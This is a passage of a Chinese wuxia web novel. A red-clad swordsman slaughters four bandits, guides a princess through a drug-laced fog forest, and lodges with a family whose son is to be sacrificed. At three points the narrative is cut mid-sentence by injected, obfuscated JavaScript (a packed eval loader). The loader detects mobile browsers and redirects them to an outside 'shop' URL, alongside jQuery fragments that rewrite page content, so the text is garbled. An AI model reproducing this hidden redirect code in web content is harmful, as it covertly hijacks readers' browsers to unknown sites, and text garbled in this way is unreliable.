白亮亮的刀横向少年,少年不躲不闪,直到刀尖锋芒逼近面门,左手才快如闪电般伸出,食中两指钳住刀背,使它不能前进一寸。 魍大惊之下握住刀柄用力往外抽,想从少年的双指指缝里抽出刀来,但不管他如何使力,那把刀都纹丝不动。反复尝试无果之后,他将右手食中两指并作一处,以“双龙抢珠”之招伸指挖他眼珠。 这一手兔起鹘落迅捷无伦,看似避无可避,但薛矜处变不惊,啪的一声抓住了对方手腕,用力一拧,只听得“咔嚓”一声,紧接着那厮便发出一阵杀猪般的惨叫,手臂以极其诡异的姿态扭曲着。 在余下三人呆愣的目光中,他又内劲微凝,干脆利落飞踢出一脚。下一刻,魍便犹如断线风筝般被踢飞出去,然后四脚朝天摔到了地上,温热的血从他喉间不断喷涌而出,但他再也发不出任何的声音。 魍刚重重地摔到在地上,一把细如牛毛的银针便立刻向薛矜飞来,速度快得惊人,幸亏薛矜见机得快,只是挥了挥衣袖,便将那些针以十倍速度弹了出去,原路返回。 只听“哎哟”一声惨呼,发出银针的魉就被自己发出的银针扎成了筛子,那上面是抹了剧毒腐骨化尸散的,他旋即瘫倒在地,两只眼睛凸出,身体剧烈颤抖起来,不到片刻便化成血水。 薛矜眼睁睁地看着他以惨烈的方式死去,毫无同情心地感慨了一句:“针上抹了剧毒诶,我好幸运,差点死于非命。”说完还心有余悸地拍了拍自己的胸脯,好像真的庆祝自己死里逃生了一样。 他的话音刚刚落下,突然一人攻向他后方,一刀捅来,竟是想搞背后偷袭。但薛矜无动于衷,看也不看他一眼,就跟后背长了眼睛似的,召出自己那柄墨色长刀,反手就捅了过去。 只听得一声惨叫,在背后搞偷袭的魅被那一刀捅了个对穿,不甘地瞪着一双眼睛,缓缓倒在了地上,身下是一滩慢慢渗出的鲜血。 少年从身后拔出刺透魅的刀,轻轻甩了甩,血珠顺着刀刃滑下,洒落了一地。刀身很快光洁如新,看不到任何血迹残留。 他低垂眼帘,似乎是在欣赏刀上最后一滴血落在地上时所形成的梅花。 顷刻间,魑魅魍魉四大凶徒便只剩下一人。魑见这少年不费吹灰之力就杀掉了自己的三位兄弟,忽然想起那四片树叶,颤抖着声线说道:“之前打出树叶的人……是你……” 薛矜撩起眼皮瞧了他一眼,不咸不淡地开口道:“你以为是谁。” 听到他亲口承认,魑只觉得自己像是一条刚刚被抛上岸的鱼,艰难地大口大口呼吸,半句话都说不出来。过了许久,他才找回自己的声音:“似阁下这般武功高强之辈,何必纡尊降贵,给那个黄毛丫头当护卫?” 薛矜轻叹一声,说道:“我之前不是说了,拿人钱财,替人消灾嘛。”末了,他似乎是想到了什么有趣的事情,朝人微笑,轻言细语的说着冷血无情的话:“想活下去吗?我可以给你一个逃命的机会哦。接下来我会数一百个数,你跑得远远的,过后我就会来抓你。” “现在,立刻,马上。” 他说完也不等对方答应,直接数起了数:“一百,九十九,九十八……” 看着眼前黑发白肤的红衣美少年,魑却莫名想起了外祖母家的那只猫。在捉到老鼠之前,那只猫总要先戏弄对方一番,再用它凶狠锐利的爪子,对老鼠发动突然袭击。 现在少年就是那只猫,而他成了被对方玩弄于股掌之间的老鼠。他根本就不想同对方玩什么猫鼠游戏,但在压倒性的实力面前,只有遵守对方的规则才有一条活路。 在少年数到“九十”的时候,他深吸了一口气,立即用上自己生平最快的速度,尽可能的远离少年。可他还没跑出几步,少年却改了口:“十、九、八……” 他几乎要破口大骂对方是个卑劣无耻不讲信用的小人了,转而又想到自己也是这样的人,对方属实是以恶制恶了。压下心头熊熊燃烧的怒火,他拼尽全力往前跑,冷空气灌进他的肺里,让他在呼吸的时候感觉心脏生疼。 当最后一个数从少年唇边吐出来时,死亡的阴云笼罩上了魑的心头。 下一刻,少年便将手中墨刀用力掷出,长刀化作一道流光,以极快的速度冲到了魑的身后,从他的背腰插入。他奔行正急,虽被刀深深刺入腹部,但由于惯性,兀自奔出十余步才倒地不起。 见他扑倒在地,薛矜将手一招,那把刀便如倦鸟投林一般飞回了他的手里。 周围萦绕着浓浓的血腥气,少年微不可察地皱了皱眉。他虽然漠视人命,却并不喜欢血腥味。 杀完四人后,他像做了一件微不足道的小事一般,掸了掸衣袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273362|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上并不存在的灰尘,而后若有所思地看向一直呆在角落里,目睹了全程的卖花女。 对方看上去也就是十三四岁的年纪,身体一直在发抖,不知是冻的还是吓的。似乎是察觉到他的目光,她的脸上显露出惊恐至极的表情,就好似看到了什么可怕的存在一般。 少年着一袭艳丽的红衣,闲庭信步向她走来,步履轻盈,若流风之回雪。他手里的刀还滴着血,鲜红的血液一路坠落盛放,滴答,滴答。 卖花女被吓得一动也不敢动,自己亲眼目睹了全程,少年此刻必定是要杀人灭口。对方轻而易举便取了那四个凶徒的性命,对付自己,只需动动手指头就能碾死。 她之所以出现在这里,是被继母逼着来街头卖花补贴家用的。在出门之前,继母还对她说,她要是卖不完花,就回不了家。没想到今日生意惨淡,她不但回不了家,性命都要丢了。 最终,绯衣少年立在她身前。卖花女叹了口气闭上了眼,等待着那无法抵挡的刀落下。 但刀没有落下,落下的是和少年那张妖冶面容很不符合的,轻软得像绸缎一样的声音。 “请问你这花怎么卖?” * 陆怀袖坐在烧烤摊旁等着少年,食不知味地将剩下的串串吃完。 随着时间一点点流逝,少年还是迟迟未归。陆怀袖一双微圆的杏眼,不断扫视着四周,焦躁与恐惧布满她的心头。此时此刻,她的脑中只剩下了一个念头,无法摆脱。 薛矜该不会是拿了钱跑路了吧。 她这么想着,眼泪好像就要涌出来。想要外出寻找,却又害怕少年回来找不到她,思来想去,天人交战一番后,她还是乖乖坐在那里等他回来,在心里默默数。 一、二、三、四、五、六、七、八…… 数到第一千个数的时候,陆怀袖似有所感地抬头望向远处,只见少年慢悠悠的从道路尽头向她走来,嘴角含笑,眸中尽隐星辰,一只手背在身后好像拿着什么东西。 她立时喜出望外,霍地从座位上站起身来,雀跃地望向少年,正好对上他的视线。少年的目光在她脸上停了会儿,随即用空出来的那只手点了点自己的嘴角,神色揶揄,暗示她嘴边沾着酱料。 陆怀袖自觉在少年面前落了面子,微红着脸颊转过了头,拿起一方手帕在脸上胡乱抹着。她一边抹一边懊恼地想,自己必定是在敞开了肚子大吃特吃的时候,嘴角不小心沾染上了一点烧烤酱料。 她将嘴边沾着的酱料擦拭干净之后,便将目光重新投向少年,提着裙摆加快脚步迎了上去,在他面前站定。 薛矜看着小公主杏目圆睁,一副兴师问罪的表情,不等她开口,便主动解释道:“我真的只是去散步了。”说完小心翼翼地觑着她的脸色,随后语气轻缓,咬字清晰地说道:“没有跑路。”他从不否认自己是个大恶人,但他必须要说自己是个有契约精神的大恶人。 陆怀袖眉头一挑,也不打算问了,一脸谴责地说道:“可你明明……”可你明明说你很快就会回来的。 薛矜听懂了她的未尽之意,眼珠子骨碌碌地转了一圈后,脸不红心不跳地撒着谎:“那是因为我在路上弄死了几只老鼠,所以才耽误了时间。”说完之后,他脸上露出了讨好的笑意,故意轻声软语地撒娇道:“算我不对,所以我特意给你带了礼物,你消消气好不好?” 陆怀袖闻言一愣,还没等她反应过来,少年背在背后的手就伸到她的面前。他那灵巧地摩挲过刀与剑的手指,正拿着一束鲜花递给了她,花束后面是他灿烂得挡不住的笑脸,“别生气了,好吗?” 她目光怔怔地看着那一束花,少年修长的手指轻握花柄,花朵前倾微微下垂,是握刀的姿势。一盏茶的功夫过去了,但她依然只是看着,并没有伸手去接。 少年见少女迟迟不接,瞳孔微微瞪大,似乎不可置信:“你不是喜欢花么?”他记得自己随手折下几枝桃花带给她时,她看起来超高兴啊。难不成他真的认识了一个假的陆怀袖? 陆怀袖被他这么一问,才如梦初醒般回过神来。她弯腰将那束花拿在了手里,低头嗅了嗅,芳香扑鼻。随后她抬起头来,笑意盈盈地看着少年,樱唇翕动:“不,我很喜欢。” 少年见她收下花后便由衷地露出了笑容,轻轻呼出一口气,自己总算蒙混过关了。 他并不在乎她的身份是真是假,只要她给自己的银票是真的就够了。 说句不好听的话,他需要做的只是在这一路上为小公主披荆斩棘保驾护航,将她平安护送到白河城。至于完成任务之后,她的死活,她要嫁给谁,她的命运如何,他一点也不关心。 只是他没学过怎么保护一个人,没有经验。把想要杀掉她的人提前杀掉,就算保护了她吧? 少年看向像抱着珍宝一样抱着花束的少女,这样想道。 16. 雾林 在那座不知名小镇上住了一晚,次日清晨天刚蒙蒙亮,薛陆二人便收拾好行李继续往北走。 他们走着走着,忽然停下脚步,抬头望向天空。此时天色已近黄昏,夕阳连着远山,落日的余晖染红了天际,满天的红霞有着说不出的妖异。两人对视一眼,皆从彼此眼中看到相同的意思:天色不早,先去附近的城镇落脚吧。 只是他们眼前,除了一片被迷雾笼罩着的树林,便没有其他路了。寂静的雾林,在漫天红霞的映照下显得有些阴森。可为了去往城镇,他们也只得硬着头皮闯一闯了。 在进入雾林之前,薛矜犹不忘转过身子,对陆怀袖嘱咐道:“这树林浓雾弥漫,可见度低得令人发指,我们闯进去就会失去彼此的视线。但你不要害怕,这一路上紧紧拉住我衣袖,跟着我走就好,切记不能放手。” 陆怀袖小鸡啄米似的点了点头,表现自己一定不会作死的。 紧接着,薛陆二人便步入了这片雾林。由于雾太浓,能见度很低,就算是薛矜,也只能看清前方几丈内的东西,陆怀袖身处浓雾中,就完全是个睁眼瞎了,连自己都看不到自己。 她牢记少年的叮嘱,紧紧拽住他的衣袖,随他深一脚浅一脚在浓雾中行走。两人摸索着在林子里穿梭,脚下乱石枯枝越来越多,眼前又看不清楚,陆怀袖好几次被不知道什么东西绊倒,好在下一刻薛矜就及时托住了她,这才使她没有摔个狗啃泥。 林中静悄悄的,没有鸟叫,没有虫鸣,仿佛一幅阴冷死寂的画,薛陆二人只觉自己的呼吸声都放大了不少。 雾很浓,而且在涌动,一切都看不清。迷雾中不知道藏着什么奇怪的东西,它也许正暗中窥伺着自己的猎物,只待时机成熟,便给予致命一击。 陆怀袖不是什么胆子大的人,一想到自己正身处这样敌暗我明的危险处境,胸口仿佛也被雾气堵住,瘆得慌。她越想越害怕,身体下意识往薛矜那边靠了靠,和他挨得更近。对方虽然不发一言,但他的存在,就已经给了她一种“万事有我在”的安全感。 再往里面走几步,陆怀袖便闻到一股若有若无的药味儿,紧接着一阵阵的眩晕感袭击了她的大脑。她闭着眼睛甩了甩头,想使自己清醒过来,却不料再度睁开眼睛时,映入眼帘的就是令她招架不住的恐怖画面,不让她疼痛却让她窒息。 身处颜贵妃富丽堂皇的寝殿中,陆怀袖坐在铺着金丝软垫的椅子上,低头听着母妃对自己的谆谆教导,不时抬起头偷偷打量她几眼。对方高高盘起的乌发上插满了珠翠,端的是雍容华贵,娇艳欲滴。但她只想问对方一句,戴这么多钗环首饰,身上重不重,难不难受。 颜贵妃说得累了,端起茶盏抿了一口,又继续道:“你天天窝在宫里,也不出去和兄弟姐妹们打交道,这可一点都不好。难道那些花花草草,还能比和你一样流淌着皇室血脉的人重要吗?” 陆怀袖敷衍地说了一句:“您说得对。”说完眼睛仍旧看着地面,明显没将颜贵妃的肺腑之言放在心上。 见状,颜贵妃恨铁不成钢地叹了口气,伸指狠狠戳了戳她额头道:“你以后注定是要嫁人的,相夫教子,管理内宅,侍奉公婆,就是你嫁人之后的主要任务了。而这三大任务,哪一样不要人情往来?可你却整天把自己锁在清平宫里,一点人情世故都不懂。你现在待字闺中没人说你,到时候嫁作人妇了又怎么办?” 陆怀袖听了这话,眼睫如蝶翼般颤了两下,头低的更深了些。 见她始终低着头不看自己,颜贵妃秀眉微蹙,不满地呵斥道:“抬起头来!本宫难道没教过你,跟别人交谈的时候要看着对方的眼睛吗?” 陆怀袖忙不迭抬起头来,在她的命令下直视她的眼睛,打起十二分精神应对她向自己投来的审视目光。 将她从上到下打量了一遍,颜贵妃拧着眉头评头论足道:“你这番打扮实在是太随意了,松松垮垮的。你看看你五姐姐,人家就会用一根白玉带系在腰上,将自己盈盈一握的纤腰展现出来,在中秋宴上惊艳四座,夺走了所有人的目光。而你呢,不仅没有对腰细如柳不盈一握的追求,还一点也不会打扮自己。一个女人都不漂亮了,怎么会有人爱她呢?” 陆怀袖将她这番话听在耳中,却不以为然。她知道她五姐姐拥有不盈一握的细腰,也知道对方为此付出了巨大的代价。 因为襄国历来以细腰为美,每个女子都以能拥有纤细的腰为荣,盛京更是每个贵女都在相互比较谁的腰细。而她的五姐姐从小就有意束腰,让一个健壮的宫女勒紧她腰间束带,直到把腰勒到满意为止,再疼也必须强忍。 陆怀袖曾亲眼目睹对方使劲抓住床柱,让随身宫女拼命帮她把腰束得再细一点。 的确,那看上去赏心悦目,但她不喜欢。她不想把心思都花在打扮自己上,让谁为她神魂颠倒。她就想穿得宽松自在,怎么舒服怎么来。但这番话过于大胆,她不敢宣之于口,只得恭顺地低下头来,柔柔地说道:“儿臣受教了。” 见她乖乖认错,颜贵妃总算高兴了一点,接着又滔滔不绝地说了下去。 她说了很多,但陆怀袖只听到了“你得怎么做”、“你要怎么做”、“你该怎么做”。她忽然觉得自己仿佛变成了对方手中的提线木偶,对方不仅想操控她的人生,还妄图摆布她的思想。 这种做提线木偶的感觉真心难受,但陆怀袖无力反抗,只能机械地点头,然后不带任何感情地发出“嗯”的一声,对颜贵妃所有“都是为了你好”的建议表示赞同。 劈头盖脸的说教像潮水一样将她淹没,肺部的空气一点一点被剥夺,陆怀袖感到几近窒息。她心里的小人胡乱扑腾着,但却徒劳无功,只能直直的往下坠。 就在她心里那根弦绷到极点,眼看着就要断掉的时候,少年的声音如梵音入耳,让她陡然清醒。 “陆小姐!快醒醒!” 陆怀袖一个激灵,顿时从将她吞没的潮水中脱离出来,眼前哪有什么满头珠翠的贵妃娘娘,浓雾遮蔽了周围所有的东西,她什么看不见。她极为缓慢地眨了一下眼睛,终于意识到刚才的场景已经过去两年了。她似乎感觉自己活过来了,大口大口地呼吸着新鲜空气。 薛矜也不催她,只是静静地看着她,等她差不多恢复正常了,才淡定问道:“你刚才是不是看到什么可怕的画面了?” 陆怀袖没想到他会有此一问,不由得愣了愣,随后轻轻嗯了一声:“没错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273363|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛矜闻言并不意外,点点头道:“果然如此。”他也没卖关子,直截了当的为少女答疑解惑道:“这片树林的雾不是普通的雾,雾中凝聚着少许不同寻常的药味,正是仙人迷。这种药遇水就成了烟雾,极易为人体吸收,可以导致人产生恐怖的幻象,夜间则更盛。中招的人会看到自己内心深处最恐惧的画面,所以你刚刚才会被吓到。” 经他这么一解释,陆怀袖回想起方才萦绕在鼻尖的那股药味,瞬间茅塞顿开。只是“内心深处最恐惧的画面”这几个字在她脑中不断回响,让她一时之间陷入到了迷茫之中。自己内心深处最恐惧的场景,居然是这个? 不过片刻,陆怀袖便甩了甩头,将满脑袋乱七八糟的东西抛出,随后语带关切地问道:“那薛公子有被吓到么?” 随着她的话音落地,薛矜轻哼一声,不屑一顾地说道:“这点药还迷不倒我。”这说的是实话,他从小就被关在密室里用各种迷烟熏,就是为了对付这种情况,身体早就被训练出抗药性了。 陆怀袖虽然看不到他的表情,但她都能想象到,对方说出这话时,必定昂着下巴神情倨傲,如同一只张扬又高贵的天鹅。想到此处,她的心情莫名就好了很多。 两人又走出几十步,薛矜忽然毫无预兆地开口道:“迷雾中看到的都是幻象,假的就不能变成真的,只是你坚信这一点,就不会被吓到。记住,你现在不是身处幻境中,而是在我身边。”说完,继续若无其事的往前走。 他每说一个字就好像在她心尖踩了一下,陆怀袖一字不落地听完,方才的阴霾瞬间散了去,嘴角不自觉扬起,隐没在浓雾中。 两人继续往前走,陆怀袖将薛矜的话奉为金科玉律,始终牢记着,便不再被幻境所迷,脑中一片清明。 大概一柱香的功夫过去了,雾气忽然消散,两人眼前豁然开朗,已然走到了林子的尽头。 陆怀袖刚要拍掌庆祝两人出了雾林,眼前的树枝之上忽然有一条银丝垂落,而在那丝线下方的尽头,挂着一只手掌大小的黑蜘蛛。蜘蛛扯着蛛丝挂在树枝上,鬼火般幽绿的眼睛死死地盯着她,狰狞的口器近在眼前。 她被吓了一大跳,怕它会过来咬自己,猛地往后跳了跳,远离那只黑蜘蛛。这种长了好多腿的爬虫都吓人得很。 还未等陆怀袖尖叫出声,接下来发生的那一幕,却让她捂着嘴说不话来。 只见薛矜伸手摘下一片树叶,指尖轻弹,将树叶射向那只垂在半空中即将荡向她的蜘蛛。下一刻,对方就被那片嫩绿的树叶死死地钉在树干上,抽搐了几下便不再动弹。 惊魂未定地拍了拍胸脯后,陆怀袖的视线又看向少年,朝他盈盈一拜道:“多谢薛公子仗义出手,小女子感激不尽。” 薛矜不以为意地摆摆手道:“只是为了我的耳膜不受伤害罢了。”说完就走上前探路了。陆怀袖轻笑了一声,随后也迈着小碎步跟了上去。 薛陆二人继续前行,终于在明月初升时来到了一座城镇下。两人抬头一看,那块石头做的匾额上面写着“安陆县”三个大字。 两人缓缓步入了城镇内,此时刚刚入夜,本该人流涌动,车水马龙的街道却是静谧无声,一片荒凉,安静得有些诡异了。 17. 借宿 薛陆二人本想问路,问客栈在何处,可却发现街道上连个可以问路的人都没有,两人皆是十分吃惊。安陆县很小,一共就三四条街道,其余都是偏僻的住户巷子。可是他们走遍了全城,都没有看到一个行人。 更出乎他们意料的是,城内居然没有客栈,两人要想不睡大街,只能去找一户人家借宿。 在做出这个决定之后,薛矜又沉吟片刻,徐徐道:“我们现在的关系不方便对外公布,若有人问起我们之间的关系,少不得要编一个。出门在外,就得有个合理结伴同行的身份,免得旁人惊诧。” 陆怀袖闻言,赞同地看向薛矜说道:“你说的很有道理,那我们该编个什么样的关系呢?” 薛矜略作思考后,说道:“你觉得义兄义妹如何?我意外救下了被恶徒挟持的的你,见你一介弱女子,独自归家恐再被人欺负,便好人做到底,千里护送萍水相逢的你。只因路途遥远,男女多有不便,为了免除后顾之忧,我收你做了义妹,就像当年赵匡胤千里送京娘一样。”见她点头如捣蒜,他心中暗笑,促狭心起,又补充了一句,“我们既已结拜为兄妹了,那你就不要薛公子薛公子的叫了,我也会叫你袖袖以示亲近。” 陆怀袖毫不避讳地虚心求教道:“那我又该怎么称呼义兄您呢?” 薛矜心里头也就等着她这话,话等来了,故意恶心她道:“我有个表字,叫做念之,陆小姐若是不介意,在外人面前可以喊我念之哥哥。”说完露出了恶作剧似的笑脸,期待在她脸上见到一副吃了苍蝇的表情。 大大出乎他的意料的是,陆怀袖既不羞也不恼,只是柔顺地点了点头,从善如流地说道:“好的,念之哥哥。”语气之亲昵,好像他俩真是这种关系似的。 如此一个守礼懂规矩的小公主,竟会叫出这等腻歪的称呼来,委实让人大跌眼镜。绯衣少年嘴角掩饰不住的抽搐了一下,忍不住自我嫌弃道:“我好恶心。” 陆怀袖看他一脸好像吃了苍蝇的表情就有点想笑,非常怪异地,她觉得自己好像在无形中扳回了一局。想恶心我,反弹。 编造好两人之间的关系后,薛陆二人漫无目的地走在夜深人静的大街上,忽然听到一阵诡异的歌谣声,音调九曲十八弯,徒增一种阴森的感觉,好好的一首歌谣唱得像是从地狱里发出的,令人不寒而栗。 两人不自觉竖起耳朵,细听之下,毛骨悚然。 “往年古怪少啊,今年古怪多啊,板凳爬上墙,灯草打破了锅,灯草打破了锅啊。古怪多啊古怪多,古怪古怪谷怪多。月亮西边出啊,太阳东边落啊。天上绫罗地下裁啊。河里的石头滚啊滚上坡,滚上坡。” “半夜三更里啊,老虎闯进了门啊,我问它来干什么,它说保护小绵羊啊。它说保护小绵羊啊。多古怪啊多古怪,古怪古怪多古怪。清早走进城啊,看见狗咬人哪,只许它们汪汪叫哇,不许人那用嘴来讲话,来讲话。” “田里种石头啊,灶里长青草啊,人向老鼠讨饭吃啊,秀才做了强盗啊,秀才做了强盗啊,古怪多啊古怪多,古怪古怪古怪多。喜鹊嚎啕哭啊,猫头鹰笑呵呵笑啊,城隍庙的小鬼哟,白天也唱起了古怪古怪歌,古怪歌。” 不知为何,听着这首歌谣所描述出来的内容,两人只觉一股恶寒从心里生出,迅速蔓延至四肢百骸,好像有一些不对劲的东西在城里扩散,慢慢渗透进了城中居民的生活中,让一切秩序都颠倒,所有事物都变样。 在声音低哑、语调悠长的歌谣声中,薛陆二人感受到莫名的不舒服,在街上行走的脚步也快了几分。只是他们抬手叩了好几户人家的门,都没有得到回应,连编好的说辞都用不上了。 就在两人觉得自己今夜就要伴着这令人毛骨悚然的歌声露宿街头时,伴随着“吱呀”一声,他们敲开了一户人家的门。一对四十来岁的中年夫妻将门打开一条缝隙,从中探出头来,看着站在他们面前完全陌生的两张面孔,同时露出诧异至极的表情:“你们是外地人?”那表情倒不像他们是外地人,而是天上来的人。 薛矜倒是不慌不忙地向前一步,向夫妇俩拱手作揖道:“我兄妹二人赶路至此,不小心迷了路,只因天色已晚,想在贵处借宿几天,不知两位可否行个方便?” 那对夫妻见两人皆是相貌出众,气质不俗,一见之下,便有几分喜欢,再加上少年彬彬有礼,举止优雅,心中更是动摇。他们低声商议了一会,便将两人让进了屋。 薛陆二人交换了一个眼神,都从彼此眼中看到了相同的意思:今晚总算不用睡大街了。 他们穿过那扇木门之后,是个巴掌大的小院子。院子虽小,其间却是花木扶疏,错落有致,一片生机盎然的景象。进了他们待客的屋子后,两人不动声色地打量着屋内,屋子虽然旧,收拾的却很干净。 落座之后,双方互通了姓名。薛陆二人得知这对夫妻一个姓李一个姓张,在城内开了一家豆腐坊,育有儿子李平安,今年已经十五岁了。夫妻俩也听闻了薛矜不远千里护送陆怀袖回家的义举,纷纷对他竖起了大拇指。 听着夫妻俩对少年的赞美之词,陆怀袖忍不住在心里腹诽,这义举可是她用全身家当换来的。 双方正交谈得如火如荼,一位身形单薄、粗衣布衫的少年郎推门而入,他的五官标致,气质儒雅,身上自带一股书卷气,脸上还带着温雅的笑意,让人见了就不由得心生好感。 薛陆二人将他上下打量了一会,知道眼前这位少年就是李平安了。 见有人来访,李平安先是愣了一愣,反应过来后就立刻去给他们沏茶,不一会便提着茶壶回来了,然后依次给他们各倒了一碗茶,一边倒茶一边还说了句:“家中简陋,只有山野粗茶招待,还请两位客人不要见怪。” 薛陆二人连忙表示自己不嫌弃,一抬手将瓷碗中的茶水一饮而尽,茶水入口微苦不涩,倒也不算太坏。他们又和李平安说了些别的事情,而后少年便告辞离去,只留下夫妇俩看着他瘦削的背影,怔忡不已。 直到他彻底消失在自己的视线中,夫妇俩才长长叹出一口气来,脸上的表情是肉眼可见的悲伤。 陆怀袖被他们的情绪感染,不由得身子前倾,关切问道:“大叔大婶何故唉声叹气?可是有什么难处?” 李大婶瞧见她眼中关切之意,几乎欲滴下泪来,鼻子一酸,哽咽着说道:“姑娘是外地人有所不知,我们这供奉着一位圣姑,而这位圣姑每年都让此地百姓‘上贡’少年,不给就惨了。县里头每年都要献祭一名少年才能保全县平安,至今已经有十年了。而我家小儿今年刚满十五岁,就被选中成为圣姑的祭品,你说我们能不叹气么?” 闻言,陆怀袖不由得眉头一拧,沉声问道:“什么圣姑还需要用活人祭祀,我看是鬼神才对。这样的妖邪之物,你们为何还要敬若神明?” 李大叔拍了拍大腿,叹息道:“这都是前人造的孽啊,却让我们这些后人遭受了报应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“而就在圣姑归来的当天,她当年躲进去的那片林子就被一阵浓雾笼罩。安陆县四面都被雾林包裹着,要出镇就只有这一条路可走。起初还有人尝试离开,但路上总会听到或看到一些恐怖的东西,吓得他们又退了回来。此后大家别说走出林子了,就连接近都不敢,太阳落山后,更是宁愿锁在家中也不愿出门,就是怕林子里忽然冒出什么鬼怪将自己捉了去。” “之后一个传说在县里流传,此路直通鬼门关,一旦踏上就有去无回。渐渐的,大家就都不敢外出了,也没有人敢闯进来,城里很久没有生面孔了。所以我们夫妻在看到你二人时,才会表现得如此惊讶。” 陆怀袖刚想说是仙人迷导致你们产生了恐怖的幻象,此路并非黄泉之路,可她的话刚到嘴边,就被薛矜一个不赞同的眼神逼回了肚中。眼看着几天后那位少年就要被作为祭品献给圣姑,让这对好心的夫妇白发人送黑发人,陆怀袖心中很是不忍,下意识看向薛矜,盼着奇迹发生,少年能路见不平拔刀相助一回。 但奇迹终究还是没有发生。薛矜无视了她求助的眼神,略带歉意地说道:“很抱歉听到这件事,我也很想对你们施以援手,但只恨自己有心无力,什么忙也帮不上。” 陆怀袖咬了咬下唇,藏在宽大袖子里的手不动声色的收紧。对方果然不愿意多管闲事啊。 闻言,李大叔只是幽幽地叹了一声:“这怎么怪得了你呢,都是我们的命不好啊。十年前我们住的烟墨镇发生了一起骇人听闻的惨案,林家五十口被杀得一个不剩,财物也都被洗劫一空了,最后还被凶手放了一把火,大火一直烧了一夜,照亮了镇上的夜空。我当年是镇上的巡检,就因为没能在规定的期限内抓到凶手,不仅被革职查办,还要忍受各种非议。因为在镇上再也呆不下去了,我们只好举家搬到这里来,谁曾想没过多久就来了个圣姑,不仅堵住了我们的出路,还要了我们的孩子作为祭品享用。” 陆怀袖听他说了这番话,也是心有戚戚焉,却没注意到旁边的少年表情呆滞了片刻,仿佛常年佩戴着的面具忽然被掀开一角。 18. 县令 次日,用过早膳后,在李家歇了一宿的薛陆二人便出门逛街去了。他们昨日提出要给夫妇俩伙食费,但他们坚决不收,两人只好将银两收回去,打算之后买点东西给夫妇俩,聊表心意。 日头逐渐升起,路上的行人渐渐多了起来,原本冷清的街道也变得热闹起来,慢慢有了烟火气儿,与昨晚的荒凉景象大为不同。天越走越亮,路越走越宽,薛陆二人肩并肩慢悠悠地走着,一路走马观花似的左瞧右看。 陆怀袖忽然想起什么似的,向旁边的少年虚心请教道:“请问薛公子,有什么方法可以驱散那片大雾,让此地百姓自由外出呢?” 薛矜面色不变,似乎早就预料到小公主会问这个问题,说出了自己提前想好的说辞:“仙人迷的药效只能持续三天,而且药效逐日减退。能将此地居民困住长达十年,需要人持续不断地施放,才能保持成现在这样。能做到这一点,下药的人必定就住在这附近。只要抓住那人,让他停止下药,过不了多久那片浓雾便会自行散去了。” 听罢,陆怀袖微蹙了下眉头,无奈地说道:“这可如何找得到啊……” 见她这副苦思冥想的模样,薛矜唇角一勾又是惯有的轻笑,他徐徐说道:“一件事发生,总有受害者和受益者。要抓住罪恶之徒,首先就要找出得益之人。那人连续十年在林中施放仙人迷,无非有两个目的,让里面的人出不去,让外面的人进不来。你只需想明白,谁能从此事中谋取最大的利益,谁的嫌疑就最大了。” 听到这话,陆怀袖不再多言,抿着嘴唇,一副若有所思的模样。她继续往前走着,没有注意到自己的脚下,忽然手腕被少年握住,紧接着整个人都被他拽离某处。 好不容易稳定身形后,她看向薛矜,眼底的疑惑几乎化成实质。薛矜没有说话,只抬了抬下巴示意她往地下看。陆怀袖顺着他的视线低头看去,只见道路中央摆着一堆中药药渣,看着很是违和,满街行人极力忽略它,却无一人试图扫除它,只是绕过它继续往前走。 见小公主面露不解之色,薛矜耐心解释道:“这是一种‘倒药渣’的习俗,病家把煎过的药渣故意倒在街上让路人踩,踩到的人会带走病气,吃药的人就会好了。” 饶是陆怀袖脾气再好,听了这种转嫁灾祸给别人的龌龊心思,也不由得杏目圆睁,柳眉倒竖。这倒药的人也太缺德了吧,将药渣撒在路上,就为了把病气转移到一群无辜的路人身上。 她越想越气,不由得握紧了拳头,愤愤的将牙咬得咯吱咯吱响:“也不知这人是谁,这样缺德。” 薛矜点点头,对她的话表示赞同,而后摸着下巴说道:“将药渣堂而皇之倒在大路中央,还没人敢扫走,看来此人是个厉害角色,别人都惧怕他,不敢忤逆他。” 这时一位六旬老汉从他们身边经过,刚好将他们的对话听入耳中。他轻轻地叹了口气,压低声音道:“两位都是生面孔,想必刚来我们这没多久。这倒药的不是别人,正是敝县县令。他的小儿子前不久害了场大病,为了让对方尽早痊愈,他就命人将药渣倒在过往行人的岔路口,想要我们这些小老百姓替他的宝贝儿子带走病气。” 话音刚落,老汉又捋了捋胡子,意味深长地说道:“只是老爷此举,除了给小儿子治病,还有别的目的。”说到此处,他一副欲言又止的模样。 薛矜嘴角勾起一抹轻嘲的笑意,直接一语道破天机:“训练服从性。” 陆怀袖也是个一点就透的聪明人,很快便想明白是怎么一回事。县令此举无非两个目的:一是为了试探百姓是否顺从于他,二是借此百姓面前展现自己的威望。他用这个法子,便将服从自己和反对自己的人一下子区分开来,好为铲除异己做准备。 